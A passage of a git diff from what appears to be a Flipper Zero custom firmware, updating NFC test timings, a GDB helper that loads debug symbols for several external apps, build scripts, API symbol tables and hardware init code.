37 37 36 37 37 37 640 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 641 37 36 37 37 37 37 36 339 37 37 36 37 37 37 36 339 37 37 36 37 37 37 37 338 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 339 36 37 37 37 37 36 37 37 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 339 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 37 36 37 37 37 37 36 37 641 37 36 37 37 37 36 37 37 37 36 37 37 37 37 36 339 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 640 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 339 36 37 37 37 37 36 37 37 37 36 37 37 37 36 37 641 37 36 37 37 37 37 36 339 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 339 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 339 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 36 37 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 641 37 37 36 37 37 37 36 37 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 641 37 36 37 37 37 37 36 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 37 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 36 37 37 37 37 36 37 641 37 36 37 37 37 36 37 37 37 36 37 37 37 37 36 641 37 37 36 37 37 37 36 37 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 339 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 37 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 338 37 37 37 37 36 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 641 37 37 36 37 37 37 37 338 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 339 36 37 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 37 36 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 37 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 37 37 37 36 37 37 37 37 640 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 37 37 37 36 37 37 37 36 641 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 339 36 37 37 37 36 37 37 37 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 37 diff --git a/assets/unit_tests/nfc/nfc_nfca_signal_short.nfc b/assets/unit_tests/nfc/nfc_nfca_signal_short.nfc index 3b7e2d9e9..f447fca26 100644 --- a/assets/unit_tests/nfc/nfc_nfca_signal_short.nfc +++ b/assets/unit_tests/nfc/nfc_nfca_signal_short.nfc @@ -3,4 +3,4 @@ Version: 1 Data length: 4 Plain data: 14 d8 a0 c9 Timings length: 296 -Timings: 37 37 36 37 37 37 36 641 37 37 36 37 37 37 37 338 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 339 37 36 37 37 37 37 36 339 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 338 37 37 37 37 36 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 339 37 37 36 37 37 37 37 640 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 339 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 339 37 36 37 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 36 37 37 37 37 338 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 641 36 37 37 37 37 36 37 0 +Timings: 37 37 36 37 37 37 36 641 37 37 36 37 37 37 37 338 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 339 37 36 37 37 37 37 36 339 37 37 36 37 37 37 36 339 37 37 37 36 37 37 37 338 37 37 37 36 37 37 37 338 37 37 37 37 36 37 37 339 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 641 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 339 37 37 36 37 37 37 37 640 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 339 36 37 37 37 36 37 37 339 37 36 37 37 37 36 37 339 37 36 37 37 37 36 37 339 37 37 36 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 641 36 37 37 37 36 37 37 37 36 37 37 37 36 37 37 641 37 36 37 37 37 36 37 339 37 36 37 37 37 37 36 37 37 37 36 37 37 37 36 641 37 37 36 37 37 37 37 338 37 37 37 36 37 37 37 36 37 37 37 36 37 37 37 339 36 37 37 37 36 37 37 641 36 37 37 37 37 36 37 37 diff --git a/debug/flipperapps.py b/debug/flipperapps.py index e815e40b1..1dc5ebd04 100644 --- a/debug/flipperapps.py +++ b/debug/flipperapps.py @@ -2,7 +2,6 @@ from dataclasses import dataclass from typing import Optional, Tuple, Dict, ClassVar import struct import posixpath -import os import zlib import gdb @@ -66,9 +65,9 @@ class AppState: def get_gdb_unload_command(self) -> str: return f"remove-symbol-file -a 0x{self.text_address:08x}" - def is_loaded_in_gdb(self, gdb_app) -> bool: - # Avoid constructing full app wrapper for comparison - return self.entry_address == int(gdb_app["state"]["entry"]) + @staticmethod + def get_gdb_app_ep(app) -> int: + return int(app["state"]["entry"]) @staticmethod def parse_debug_link_data(section_data: bytes) -> Tuple[str, int]: @@ -79,10 +78,10 @@ class AppState: crc32 = struct.unpack(" "AppState": + @classmethod + def from_gdb(cls, gdb_app: "AppState") -> "AppState": state = AppState(str(gdb_app["manifest"]["name"].string())) - state.entry_address = int(gdb_app["state"]["entry"]) + state.entry_address = cls.get_gdb_app_ep(gdb_app) app_state = gdb_app["state"] if debug_link_size := int(app_state["debug_link_info"]["debug_link_size"]): @@ -123,59 +122,83 @@ class SetFapDebugElfRoot(gdb.Command): try: global helper print(f"Set '{arg}' as debug info lookup path for Flipper external apps") - helper.attach_fw() + helper.attach_to_fw() gdb.events.stop.connect(helper.handle_stop) + gdb.events.exited.connect(helper.handle_exit) except gdb.error as e: print(f"Support for Flipper external apps debug is not available: {e}") -SetFapDebugElfRoot() - - -class FlipperAppDebugHelper: +class FlipperAppStateHelper: def __init__(self): - self.app_ptr = None self.app_type_ptr = None - self.current_app: AppState = None + self.app_list_ptr = None + self.app_list_entry_type = None + self._current_apps: list[AppState] = [] - def attach_fw(self) -> None: - self.app_ptr = gdb.lookup_global_symbol("last_loaded_app") - self.app_type_ptr = gdb.lookup_type("FlipperApplication").pointer() - self._check_app_state() + def _walk_app_list(self, list_head): + while list_head: + if app := list_head["data"]: + yield app.dereference() + list_head = list_head["next"] - def _check_app_state(self) -> None: - app_ptr_value = self.app_ptr.value() - if not app_ptr_value and self.current_app: - # There is an ELF loaded in GDB, but nothing is running on the device - self._unload_debug_elf() - elif app_ptr_value: - # There is an app running on the device - loaded_app = app_ptr_value.cast(self.app_type_ptr).dereference() - - if self.current_app and not self.current_app.is_loaded_in_gdb(loaded_app): - # Currently loaded ELF is not the one running on the device - self._unload_debug_elf() - - if not self.current_app: - # Load ELF for the app running on the device - self._load_debug_elf(loaded_app) - - def _unload_debug_elf(self) -> None: + def _exec_gdb_command(self, command: str) -> bool: try: - gdb.execute(self.current_app.get_gdb_unload_command()) + gdb.execute(command) + return True except gdb.error as e: - print(f"Failed to unload debug ELF: {e} (might not be an error)") - self.current_app = None + print(f"Failed to execute GDB command '{command}': {e}") + return False - def _load_debug_elf(self, app_object) -> None: - self.current_app = AppState.from_gdb(app_object) + def _sync_apps(self) -> None: + self.set_debug_mode(True) + if not (app_list := self.app_list_ptr.value()): + print("Reset app loader state") + for app in self._current_apps: + self._exec_gdb_command(app.get_gdb_unload_command()) + self._current_apps = [] + return - if self.current_app.is_debug_available(): - gdb.execute(self.current_app.get_gdb_load_command()) + loaded_apps: dict[int, gdb.Value] = dict( + (AppState.get_gdb_app_ep(app), app) + for app in self._walk_app_list(app_list[0]) + ) + + for app in self._current_apps.copy(): + if app.entry_address not in loaded_apps: + print(f"Application {app.name} is no longer loaded") + if not self._exec_gdb_command(app.get_gdb_unload_command()): + print(f"Failed to unload debug info for {app.name}") + self._current_apps.remove(app) + + for entry_point, app in loaded_apps.items(): + if entry_point not in set(app.entry_address for app in self._current_apps): + new_app_state = AppState.from_gdb(app) + print(f"New application loaded. Adding debug info") + if self._exec_gdb_command(new_app_state.get_gdb_load_command()): + self._current_apps.append(new_app_state) + else: + print(f"Failed to load debug info for {new_app_state}") + + def attach_to_fw(self) -> None: + print("Attaching to Flipper firmware") + self.app_list_ptr = gdb.lookup_global_symbol( + "flipper_application_loaded_app_list" + ) + self.app_type_ptr = gdb.lookup_type("FlipperApplication").pointer() + self.app_list_entry_type = gdb.lookup_type("struct FlipperApplicationList_s") def handle_stop(self, event) -> None: - self._check_app_state() + self._sync_apps() + + def handle_exit(self, event) -> None: + self.set_debug_mode(False) + + def set_debug_mode(self, mode: bool) -> None: + gdb.execute(f"set variable fap_loader_debug_active = {int(mode)}") -helper = FlipperAppDebugHelper() +# Init additional 'fap-set-debug-elf-root' command and set up hooks +SetFapDebugElfRoot() +helper = FlipperAppStateHelper() print("Support for Flipper external apps debug is loaded") diff --git a/fbt b/fbt index f80e802b6..efe625f03 100755 --- a/fbt +++ b/fbt @@ -25,10 +25,10 @@ fi if [ -z "$FBT_NO_SYNC" ]; then if [ ! -d "$SCRIPT_PATH/.git" ]; then - echo "\".git\" directory not found, please clone repo via \"git clone --recursive\""; + echo "\".git\" directory not found, please clone repo via \"git clone\""; exit 1; fi - git submodule update --init; + git submodule update --init --depth 1; fi $SCONS_EP $SCONS_DEFAULT_FLAGS "$@" diff --git a/fbt.cmd b/fbt.cmd index 92c734860..6e839c778 100644 --- a/fbt.cmd +++ b/fbt.cmd @@ -5,9 +5,9 @@ set SCONS_EP=python -m SCons if [%FBT_NO_SYNC%] == [] ( if exist ".git" ( - git submodule update --init + git submodule update --init --depth 1 ) else ( - echo Not in a git repo, please clone with git clone --recursive + echo Not in a git repo, please clone with "git clone" exit /b 1 ) ) diff --git a/fbt_options.py b/fbt_options.py index 8c7bdbe29..84ec42bfc 100644 --- a/fbt_options.py +++ b/fbt_options.py @@ -14,7 +14,7 @@ DEBUG = 0 # Suffix to add to files when building distribution # If OS environment has DIST_SUFFIX set, it will be used instead -DIST_SUFFIX = "XFW-0042_09032023" +DIST_SUFFIX = "XFW-0043_28032023" # Coprocessor firmware COPRO_OB_DATA = "scripts/ob.data" @@ -71,11 +71,6 @@ FIRMWARE_APPS = { "system_apps", # Settings "settings_apps", - # Stock plugins - no longer built into fw, now they're .faps - # Yet you can still build them as a part of fw - # "basic_plugins", - # Debug - # "debug_apps", ], "unit_tests": [ "basic_services", diff --git a/firmware/targets/f18/api_symbols.csv b/firmware/targets/f18/api_symbols.csv index 8060d38a2..42de52c03 100644 --- a/firmware/targets/f18/api_symbols.csv +++ b/firmware/targets/f18/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,18.0,, +Version,+,20.0,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -28,6 +28,7 @@ Header,+,applications/services/gui/modules/widget_elements/widget_element.h,, Header,+,applications/services/gui/view_dispatcher.h,, Header,+,applications/services/gui/view_stack.h,, Header,+,applications/services/input/input.h,, +Header,+,applications/services/loader/firmware_api/firmware_api.h,, Header,+,applications/services/loader/loader.h,, Header,+,applications/services/locale/locale.h,, Header,+,applications/services/notification/notification.h,, @@ -56,7 +57,6 @@ Header,+,firmware/targets/furi_hal_include/furi_hal.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_bt.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_bt_hid.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_bt_serial.h,, -Header,+,firmware/targets/furi_hal_include/furi_hal_compress.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_cortex.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_crypto.h,, Header,+,firmware/targets/furi_hal_include/furi_hal_debug.h,, @@ -104,7 +104,11 @@ Header,+,lib/STM32CubeWB/Drivers/STM32WBxx_HAL_Driver/Inc/stm32wbxx_ll_tim.h,, Header,+,lib/STM32CubeWB/Drivers/STM32WBxx_HAL_Driver/Inc/stm32wbxx_ll_usart.h,, Header,+,lib/STM32CubeWB/Drivers/STM32WBxx_HAL_Driver/Inc/stm32wbxx_ll_utils.h,, Header,+,lib/STM32CubeWB/Drivers/STM32WBxx_HAL_Driver/Inc/stm32wbxx_ll_wwdg.h,, +Header,+,lib/flipper_application/api_hashtable/api_hashtable.h,, +Header,+,lib/flipper_application/api_hashtable/compilesort.hpp,, Header,+,lib/flipper_application/flipper_application.h,, +Header,+,lib/flipper_application/plugins/composite_resolver.h,, +Header,+,lib/flipper_application/plugins/plugin_manager.h,, Header,+,lib/flipper_format/flipper_format.h,, Header,+,lib/flipper_format/flipper_format_i.h,, Header,+,lib/libusb_stm32/inc/hid_usage_button.h,, @@ -146,12 +150,14 @@ Header,+,lib/mlib/m-list.h,, Header,+,lib/mlib/m-rbtree.h,, Header,+,lib/mlib/m-tuple.h,, Header,+,lib/mlib/m-variant.h,, +Header,+,lib/one_wire/maxim_crc.h,, +Header,+,lib/one_wire/one_wire_host.h,, +Header,+,lib/one_wire/one_wire_slave.h,, Header,+,lib/print/wrappers.h,, Header,+,lib/toolbox/args.h,, Header,+,lib/toolbox/crc32_calc.h,, Header,+,lib/toolbox/dir_walk.h,, Header,+,lib/toolbox/float_tools.h,, -Header,+,lib/toolbox/hmac_sha256.h,, Header,+,lib/toolbox/manchester_decoder.h,, Header,+,lib/toolbox/manchester_encoder.h,, Header,+,lib/toolbox/md5.h,, @@ -160,6 +166,7 @@ Header,+,lib/toolbox/pretty_format.h,, Header,+,lib/toolbox/protocols/protocol_dict.h,, Header,+,lib/toolbox/random_name.h,, Header,+,lib/toolbox/saved_struct.h,, +Header,+,lib/toolbox/sha256.h,, Header,+,lib/toolbox/stream/buffered_file_stream.h,, Header,+,lib/toolbox/stream/file_stream.h,, Header,+,lib/toolbox/stream/stream.h,, @@ -567,6 +574,10 @@ Function,+,cli_session_close,void,Cli* Function,+,cli_session_open,void,"Cli*, void*" Function,+,cli_write,void,"Cli*, const uint8_t*, size_t" Function,-,clock,clock_t, +Function,+,composite_api_resolver_add,void,"CompositeApiResolver*, const ElfApiInterface*" +Function,+,composite_api_resolver_alloc,CompositeApiResolver*, +Function,+,composite_api_resolver_free,void,CompositeApiResolver* +Function,+,composite_api_resolver_get,const ElfApiInterface*,CompositeApiResolver* Function,+,crc32_calc_buffer,uint32_t,"uint32_t, const void*, size_t" Function,+,crc32_calc_file,uint32_t,"File*, const FileCrcProgressCb, void*" Function,-,ctermid,char*,char* @@ -639,6 +650,7 @@ Function,+,elements_slightly_rounded_box,void,"Canvas*, uint8_t, uint8_t, uint8_ Function,+,elements_slightly_rounded_frame,void,"Canvas*, uint8_t, uint8_t, uint8_t, uint8_t" Function,+,elements_string_fit_width,void,"Canvas*, FuriString*, uint8_t" Function,+,elements_text_box,void,"Canvas*, uint8_t, uint8_t, uint8_t, uint8_t, Align, Align, const char*, _Bool" +Function,+,elf_resolve_from_hashtable,_Bool,"const ElfApiInterface*, const char*, Elf32_Addr*" Function,+,empty_screen_alloc,EmptyScreen*, Function,+,empty_screen_free,void,EmptyScreen* Function,+,empty_screen_get_view,View*,EmptyScreen* @@ -696,14 +708,16 @@ Function,-,fiscanf,int,"FILE*, const char*, ..." Function,+,flipper_application_alloc,FlipperApplication*,"Storage*, const ElfApiInterface*" Function,+,flipper_application_free,void,FlipperApplication* Function,+,flipper_application_get_manifest,const FlipperApplicationManifest*,FlipperApplication* +Function,+,flipper_application_is_plugin,_Bool,FlipperApplication* Function,+,flipper_application_load_status_to_string,const char*,FlipperApplicationLoadStatus Function,+,flipper_application_manifest_is_compatible,_Bool,"const FlipperApplicationManifest*, const ElfApiInterface*" Function,+,flipper_application_manifest_is_target_compatible,_Bool,const FlipperApplicationManifest* Function,+,flipper_application_manifest_is_valid,_Bool,const FlipperApplicationManifest* Function,+,flipper_application_map_to_memory,FlipperApplicationLoadStatus,FlipperApplication* +Function,+,flipper_application_plugin_get_descriptor,const FlipperAppPluginDescriptor*,FlipperApplication* Function,+,flipper_application_preload,FlipperApplicationPreloadStatus,"FlipperApplication*, const char*" Function,+,flipper_application_preload_manifest,FlipperApplicationPreloadStatus,"FlipperApplication*, const char*" -Function,-,flipper_application_preload_status_to_string,const char*,FlipperApplicationPreloadStatus +Function,+,flipper_application_preload_status_to_string,const char*,FlipperApplicationPreloadStatus Function,+,flipper_application_spawn,FuriThread*,"FlipperApplication*, void*" Function,+,flipper_format_buffered_file_alloc,FlipperFormat*,Storage* Function,+,flipper_format_buffered_file_close,_Bool,FlipperFormat* @@ -861,12 +875,12 @@ Function,-,furi_hal_clock_resume_tick,void, Function,-,furi_hal_clock_suspend_tick,void, Function,-,furi_hal_clock_switch_to_hsi,void, Function,-,furi_hal_clock_switch_to_pll,void, -Function,-,furi_hal_compress_alloc,FuriHalCompress*,uint16_t -Function,-,furi_hal_compress_decode,_Bool,"FuriHalCompress*, uint8_t*, size_t, uint8_t*, size_t, size_t*" -Function,-,furi_hal_compress_encode,_Bool,"FuriHalCompress*, uint8_t*, size_t, uint8_t*, size_t, size_t*" -Function,-,furi_hal_compress_free,void,FuriHalCompress* -Function,-,furi_hal_compress_icon_decode,void,"const uint8_t*, uint8_t**" -Function,-,furi_hal_compress_icon_init,void, +Function,-,compress_alloc,Compress*,uint16_t +Function,-,compress_decode,_Bool,"Compress*, uint8_t*, size_t, uint8_t*, size_t, size_t*" +Function,-,compress_encode,_Bool,"Compress*, uint8_t*, size_t, uint8_t*, size_t, size_t*" +Function,-,compress_free,void,Compress* +Function,-,compress_icon_decode,void,"const uint8_t*, uint8_t**" +Function,-,compress_icon_init,void, Function,+,furi_hal_console_disable,void, Function,+,furi_hal_console_enable,void, Function,+,furi_hal_console_init,void, @@ -1295,14 +1309,12 @@ Function,+,gui_get_framebuffer_size,size_t,const Gui* Function,+,gui_remove_framebuffer_callback,void,"Gui*, GuiCanvasCommitCallback, void*" Function,+,gui_remove_view_port,void,"Gui*, ViewPort*" Function,+,gui_set_lockdown,void,"Gui*, _Bool" +Function,+,gui_set_hide_statusbar,void,"Gui*, _Bool" Function,-,gui_view_port_send_to_back,void,"Gui*, ViewPort*" Function,+,gui_view_port_send_to_front,void,"Gui*, ViewPort*" Function,+,hal_sd_detect,_Bool, Function,+,hal_sd_detect_init,void, Function,+,hal_sd_detect_set_low,void, -Function,+,hmac_sha256_finish,void,"const hmac_sha256_context*, const uint8_t*, uint8_t*" -Function,+,hmac_sha256_init,void,"hmac_sha256_context*, const uint8_t*" -Function,+,hmac_sha256_update,void,"const hmac_sha256_context*, const uint8_t*, unsigned" Function,+,icon_animation_alloc,IconAnimation*,const Icon* Function,+,icon_animation_free,void,IconAnimation* Function,+,icon_animation_get_height,uint8_t,const IconAnimation* @@ -1382,6 +1394,7 @@ Function,+,manchester_advance,_Bool,"ManchesterState, ManchesterEvent, Mancheste Function,+,manchester_encoder_advance,_Bool,"ManchesterEncoderState*, const _Bool, ManchesterEncoderResult*" Function,+,manchester_encoder_finish,ManchesterEncoderResult,ManchesterEncoderState* Function,+,manchester_encoder_reset,void,ManchesterEncoderState* +Function,+,maxim_crc8,uint8_t,"const uint8_t*, const uint8_t, const uint8_t" Function,-,mbedtls_des3_crypt_cbc,int,"mbedtls_des3_context*, int, size_t, unsigned char[8], const unsigned char*, unsigned char*" Function,-,mbedtls_des3_crypt_ecb,int,"mbedtls_des3_context*, const unsigned char[8], unsigned char[8]" Function,-,mbedtls_des3_free,void,mbedtls_des3_context* @@ -1460,6 +1473,33 @@ Function,+,notification_message,void,"NotificationApp*, const NotificationSequen Function,+,notification_message_block,void,"NotificationApp*, const NotificationSequence*" Function,-,nrand48,long,unsigned short[3] Function,-,on_exit,int,"void (*)(int, void*), void*" +Function,+,onewire_host_alloc,OneWireHost*,const GpioPin* +Function,+,onewire_host_free,void,OneWireHost* +Function,+,onewire_host_read,uint8_t,OneWireHost* +Function,+,onewire_host_read_bit,_Bool,OneWireHost* +Function,+,onewire_host_read_bytes,void,"OneWireHost*, uint8_t*, uint16_t" +Function,+,onewire_host_reset,_Bool,OneWireHost* +Function,+,onewire_host_reset_search,void,OneWireHost* +Function,+,onewire_host_search,_Bool,"OneWireHost*, uint8_t*, OneWireHostSearchMode" +Function,+,onewire_host_set_overdrive,void,"OneWireHost*, _Bool" +Function,+,onewire_host_start,void,OneWireHost* +Function,+,onewire_host_stop,void,OneWireHost* +Function,+,onewire_host_target_search,void,"OneWireHost*, uint8_t" +Function,+,onewire_host_write,void,"OneWireHost*, uint8_t" +Function,+,onewire_host_write_bit,void,"OneWireHost*, _Bool" +Function,+,onewire_host_write_bytes,void,"OneWireHost*, const uint8_t*, uint16_t" +Function,+,onewire_slave_alloc,OneWireSlave*,const GpioPin* +Function,+,onewire_slave_free,void,OneWireSlave* +Function,+,onewire_slave_receive,_Bool,"OneWireSlave*, uint8_t*, size_t" +Function,+,onewire_slave_receive_bit,_Bool,OneWireSlave* +Function,+,onewire_slave_send,_Bool,"OneWireSlave*, const uint8_t*, size_t" +Function,+,onewire_slave_send_bit,_Bool,"OneWireSlave*, _Bool" +Function,+,onewire_slave_set_command_callback,void,"OneWireSlave*, OneWireSlaveCommandCallback, void*" +Function,+,onewire_slave_set_overdrive,void,"OneWireSlave*, _Bool" +Function,+,onewire_slave_set_reset_callback,void,"OneWireSlave*, OneWireSlaveResetCallback, void*" +Function,+,onewire_slave_set_result_callback,void,"OneWireSlave*, OneWireSlaveResultCallback, void*" +Function,+,onewire_slave_start,void,OneWireSlave* +Function,+,onewire_slave_stop,void,OneWireSlave* Function,-,open_memstream,FILE*,"char**, size_t*" Function,+,path_append,void,"FuriString*, const char*" Function,+,path_concat,void,"const char*, const char*, FuriString*" @@ -1473,6 +1513,13 @@ Function,-,pcTaskGetName,char*,TaskHandle_t Function,-,pcTimerGetName,const char*,TimerHandle_t Function,-,pclose,int,FILE* Function,-,perror,void,const char* +Function,+,plugin_manager_alloc,PluginManager*,"const char*, uint32_t, const ElfApiInterface*" +Function,+,plugin_manager_free,void,PluginManager* +Function,+,plugin_manager_get,const FlipperAppPluginDescriptor*,"PluginManager*, uint32_t" +Function,+,plugin_manager_get_count,uint32_t,PluginManager* +Function,+,plugin_manager_get_ep,const void*,"PluginManager*, uint32_t" +Function,+,plugin_manager_load_all,PluginManagerError,"PluginManager*, const char*" +Function,+,plugin_manager_load_single,PluginManagerError,"PluginManager*, const char*" Function,-,popen,FILE*,"const char*, const char*" Function,+,popup_alloc,Popup*, Function,+,popup_disable_timeout,void,Popup* @@ -1636,6 +1683,7 @@ Function,-,storage_dir_rewind,_Bool,File* Function,+,storage_error_get_desc,const char*,FS_Error Function,+,storage_file_alloc,File*,Storage* Function,+,storage_file_close,_Bool,File* +Function,+,storage_file_copy_to_file,_Bool,"File*, File*, uint32_t" Function,+,storage_file_eof,_Bool,File* Function,+,storage_file_exists,_Bool,"Storage*, const char*" Function,+,storage_file_free,void,File* @@ -2052,6 +2100,7 @@ Variable,-,_sys_nerr,int, Variable,-,_timezone,long, Variable,-,_tzname,char*[2], Variable,+,cli_vcp,CliSession, +Variable,+,firmware_api_interface,const ElfApiInterface*, Variable,+,furi_hal_i2c_bus_external,FuriHalI2cBus, Variable,+,furi_hal_i2c_bus_power,FuriHalI2cBus, Variable,+,furi_hal_i2c_handle_external,FuriHalI2cBusHandle, diff --git a/firmware/targets/f18/furi_hal/furi_hal.c b/firmware/targets/f18/furi_hal/furi_hal.c index 0a68fdb69..4064dd647 100644 --- a/firmware/targets/f18/furi_hal/furi_hal.c +++ b/firmware/targets/f18/furi_hal/furi_hal.c @@ -1,37 +1,27 @@ #include #include +#include #include -#include - #define TAG "FuriHal" void furi_hal_init_early() { furi_hal_cortex_init_early(); - furi_hal_clock_init_early(); - furi_hal_resources_init_early(); - furi_hal_os_init(); - furi_hal_spi_config_init_early(); - furi_hal_i2c_init_early(); furi_hal_light_init(); - furi_hal_rtc_init_early(); } void furi_hal_deinit_early() { furi_hal_rtc_deinit_early(); - furi_hal_i2c_deinit_early(); furi_hal_spi_config_deinit_early(); - furi_hal_resources_deinit_early(); - furi_hal_clock_deinit_early(); } @@ -40,44 +30,24 @@ void furi_hal_init() { furi_hal_clock_init(); furi_hal_console_init(); furi_hal_rtc_init(); - furi_hal_interrupt_init(); - furi_hal_flash_init(); - furi_hal_resources_init(); - FURI_LOG_I(TAG, "GPIO OK"); - furi_hal_version_init(); - furi_hal_spi_config_init(); furi_hal_spi_dma_init(); - furi_hal_speaker_init(); - FURI_LOG_I(TAG, "Speaker OK"); - furi_hal_crypto_init(); - - // USB -#ifndef FURI_RAM_EXEC - furi_hal_usb_init(); - FURI_LOG_I(TAG, "USB OK"); -#endif - furi_hal_i2c_init(); - - // High Level furi_hal_power_init(); furi_hal_light_init(); + furi_hal_bt_init(); + furi_hal_memory_init(); + #ifndef FURI_RAM_EXEC + furi_hal_usb_init(); furi_hal_vibro_init(); #endif - furi_hal_bt_init(); - furi_hal_compress_icon_init(); - - // FatFS driver initialization - MX_FATFS_Init(); - FURI_LOG_I(TAG, "FATFS OK"); } void furi_hal_switch(void* address) { diff --git a/firmware/targets/f18/furi_hal/furi_hal_resources.c b/firmware/targets/f18/furi_hal/furi_hal_resources.c index 41cc80bfb..abb258cb1 100644 --- a/firmware/targets/f18/furi_hal/furi_hal_resources.c +++ b/firmware/targets/f18/furi_hal/furi_hal_resources.c @@ -4,6 +4,8 @@ #include #include +#define TAG "FuriHalResources" + const GpioPin vibro_gpio = {.port = GPIOA, .pin = LL_GPIO_PIN_8}; const GpioPin ibutton_gpio = {.port = GPIOB, .pin = LL_GPIO_PIN_14}; @@ -198,6 +200,8 @@ void furi_hal_resources_init() { NVIC_SetPriority(EXTI15_10_IRQn, NVIC_EncodePriority(NVIC_GetPriorityGrouping(), 5, 0)); NVIC_EnableIRQ(EXTI15_10_IRQn); + + FURI_LOG_I(TAG, "Init OK"); } int32_t furi_hal_resources_get_ext_pin_number(const GpioPin* gpio) { diff --git a/firmware/targets/f18/target.json b/firmware/targets/f18/target.json index 2c3b27ab1..0abb02019 100644 --- a/firmware/targets/f18/target.json +++ b/firmware/targets/f18/target.json @@ -24,8 +24,10 @@ "usb_stm32", "appframe", "assets", + "one_wire", "misc", "flipper_application", + "pulse_reader", "flipperformat", "toolbox", "flipper18" @@ -45,11 +47,11 @@ "furi_hal_subghz_configs.h" ], "excluded_modules": [ - "one_wire", "nfc", "lfrfid", "subghz", + "ibutton", "infrared", "st25rfal002" ] -} \ No newline at end of file +} diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index 3de7bd978..340b43a1e 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,6 @@ entry,status,name,type,params -Version,+,18.0,, +Version,+,20.0,, +Header,+,applications/main/fap_loader/fap_loader_app.h,, 